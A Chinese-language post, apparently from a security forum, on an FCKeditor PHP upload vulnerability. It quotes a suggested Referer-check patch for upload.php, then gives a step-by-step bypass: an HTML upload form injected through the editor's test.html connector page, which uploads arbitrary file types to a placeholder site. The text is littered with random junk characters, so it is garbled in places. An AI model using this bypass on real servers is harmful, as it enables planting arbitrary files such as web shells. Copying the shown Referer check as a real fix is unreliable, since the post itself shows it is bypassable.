漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
. t5 ^ i1 i! z$ X2 d# ]& j& y8 h网上给出的修复方案是4 S! E- m7 R( v; l \% _& m$ ^
修复方法,删除FCK编辑器用其他的编辑器" b3 Q Y, u0 e
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
8 j L, l# X# H! X在; v" d2 h% C7 [
require(‘config.php’);
6 l6 C. p/ ^3 l9 J" \. m2 {require(‘util.php’);
2 D* [, P( h) Z的下面添加以下代码—————————–9 x- `4 g" r7 J! j; H6 i" Y$ }2 d' e. `
//防止外部提交
7 K1 k5 ]) I% lfunction outsidepost()
6 I2 E" ?& ~- e# E7 X{
8 y* {+ Q+ I3 A! j8 x1 M/ n$servername=$_SERVER['SERVER_NAME'];3 d7 w# l2 O4 N7 z8 S' i- f1 _
$sub_from=@$_SERVER['HTTP_REFERER'];
6 F: I4 l3 c+ I) a7 q8 j- n$sub_len=strlen($servername);8 {' ]6 I3 ?/ b# M8 H
$checkfrom=substr($sub_from,7,$sub_len);
/ [: x* R$ q. u0 g+ f6 E+ a8 p$ b' qif($checkfrom!=$servername){
) Z3 F+ \8 ^1 X' S9 Z5 secho(“you don’t outsidepost!”);* e9 B$ Y3 x5 u+ C) [
exit;
+ T8 S: u0 k) r2 N}9 x2 n9 V2 q) _# b" e
}# u. B( f6 A6 B* J7 l6 G
outsidepost();
* Z$ ?* k) Y; P C5 Q$ z- {& \防止外部提交,但是没有防止内部提交,
' o- {; d7 |5 R1 d8 A利用方法:
* N' @) x& V7 V' o. _9 t$ @1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
' ^. q" B3 s0 r0 ~. H( [1 V2 t2,在Current Folder 框输入" @( \% O* u3 f0 L) U5 Y! {7 q
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>" d$ G1 E$ o4 @8 `. N% H+ I* F
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
) o) x* `0 U& x: rPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |